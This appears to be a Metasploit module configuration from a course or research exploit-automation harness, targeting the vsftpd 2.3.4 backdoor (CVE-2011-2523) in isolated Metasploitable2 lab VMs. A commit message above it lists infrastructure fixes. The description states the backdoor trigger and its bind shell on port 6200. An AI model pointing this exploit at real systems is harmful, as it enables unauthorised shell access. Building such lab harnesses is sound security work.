CIS490/exploits/modules/vsftpd_234_backdoor.toml
Elliott Kolden 667f042707 Tier-3 bring-up: 9 bugs fixed on elliott-ThinkPad (2026-05-01)
Root causes and fixes documented in TIER3-BRINGUP.md. Summary:

1. BRIDGE env var leaked into Tier-3 subprocess → target VM used tap
   instead of SLIRP; fix: env.pop("BRIDGE") in fleet _run_slot.

2. usable_modules filter conditioned on BRIDGE presence → bridge-requiring
   modules selected on SLIRP runs; fix: always filter requires_bridge.

3. cmd/unix/interact creates no session.list entry → session_open_timeout
   every episode; fix: switch samba_usermap_script to cmd/unix/bind_perl.

4. Per-slot LPORT hostfwd used wrong guest port (host:5444→guest:4444);
   fix: extra_host_port:extra_host_port mapping so guest binds the
   per-slot LPORT directly.

5. vsftpd backdoor port 6200 hardcoded → collision across concurrent slots;
   fix: requires_bridge=true filters it from SLIRP fleet runs.

6. SLIRP false-positive in _wait_for_tcp → exploit fires before Samba
   boots (~60 s too early); fix: replace TCP probe with serial console
   _wait_for_serial_login that waits for actual "login:" prompt.

7. Stale QEMU survives orchestrator restart (start_new_session=True) →
   holds hostfwd ports, new QEMU silently fails; fix: kill by pgid from
   old pidfile before rmtree.

8. PORT_BASE default used privileged port 21; fix: default to 2021+slot*100.

9. msfrpcd 6.x returns bytes for all string values even with raw=False;
   fix: MSFRpcClient._str() recursive decoder applied to all responses.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-02 12:26:19 -06:00

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description = """
vsftpd 2.3.4 intentional backdoor (CVE-2011-2523). Triggered by an FTP
USER name ending with ':)'. Standard Metasploitable2 exploit, fully
deterministic — perfect for a Tier-3 first-light run.
NOTE: The backdoor binds a shell on port 6200 (hardcoded in both the
vulnerable vsftpd binary AND the Metasploit module — not overridable).
msfrpcd connects to RHOSTS:6200 after triggering the backdoor. With
SLIRP+restrict=on and multiple concurrent slots, port 6200 can only be
hostfwd'd once, causing collisions. Requires BRIDGE so the exploit
handler can reach guest:6200 directly via the bridge IP.
"""
[module]
type = "exploit"
path = "unix/ftp/vsftpd_234_backdoor"
[module.options]
RHOSTS = "{{ target_ip }}"
RPORT = 21
[payload]
path = "cmd/unix/interact"
[session]
type = "shell"
[runtime]
# Port 6200 (backdoor bind) is hardcoded; can't offset per-slot.
# Requires bridge so all concurrent slots get distinct guest IPs.
requires_bridge = true